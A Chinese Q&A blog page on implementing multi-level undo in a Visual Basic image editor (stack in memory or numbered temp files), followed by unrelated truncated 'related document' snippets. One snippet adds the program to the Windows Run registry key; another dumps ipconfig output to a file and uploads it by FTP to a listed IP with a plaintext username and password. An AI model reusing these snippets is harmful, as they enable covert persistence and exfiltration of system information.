VB图像处理多次undo如何实现
做毕业论文的时候遇到的一个问题,请教豆瓣上的网友才有了答案。谢谢这位叫“异彩”的朋友。拿出来与大家分享。
用VB做图像处理软件的毕业论文,遇到一个问题。加载一幅图片,用多个滤镜分别处理,想一步一步UNDO到最原始的图像,多次UNDO怎么实现?
参考方案:
如果想做到多次UNDO的话, 无疑是需要记录操作的每次步骤. 具体有两种形式:
1, 在程序内存中存贮:
在程序中建立栈(不知道你学过没学过栈, 如果没有的话可直接理解为数组), 栈满足了后进先出(LIFO)的的规则.
在每次进行对图像的操作时, 都将上一幅图像备份(注意是深层备份, 如果是浅表引用的话是起不到效果的)到到这个栈中. 这样, 当执行UNDO时, 就可以从栈里面提取一个上一次保存的图像, 替代当前图像(并删除这个备份), 知道这个栈为空. 实现了多次UNDO.
这种方法的特点是处理数度比较快, 但是也非常消耗内存.
2. 在文件中存储:
同样是备份每个操作前的图像,但这次是存储到硬盘上, 这需要你以一定的文件名规范(xxx_temp_1.jpg, xxx_temp_2.jpg依次等等)去防止重名的情况. 同样在UNDO的时候, 去加载上一个编号的文件, 并删除之, 这样也实现了多次UNDO.
这种方法的特点自然是消耗内存少, 但是undo的处理速度没有前者快.
3. 两种方法结合.
略...
相关文档:
总述
本文叙述了如何在VB中实现控件的IobjectSafety接口,以标志该控件是脚本安全和初始化安全的。VB控件默认的处理方式是在注册表中注册组件类来标识其安全性,但实现IobjectSafety接口是更好的方法。本言语包括了实现过程中所需的所有代码。
请注意,控件只有确确实实是安全的,才能被标识为“安全的”。本 ......
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EX ......
ftp.txt文件内容为:
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为:
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
Asc 函数
返回一个 Integer,代表字符串中首字母的字符代码。
语法:
Asc(string)
必要的 string 参数可以是任何有效的字符串表达式。如果 string 中没有包含任何字符,则会产生运行时错误。
说明:在非 DBCS 系统下,返回值范围为 0 – 255 。在 DBCS 系统下,则为 -32768 &ndas ......
Public Function IsValidIPAddress(ByVal strIPAddress As String) As Boolean
On Error GoTo Handler
Dim varAddress As Variant, n As Long, lCount As Long
varAddress = Split(strIPAddress, ".", , vbTextCompare)
If IsArray(varAd ......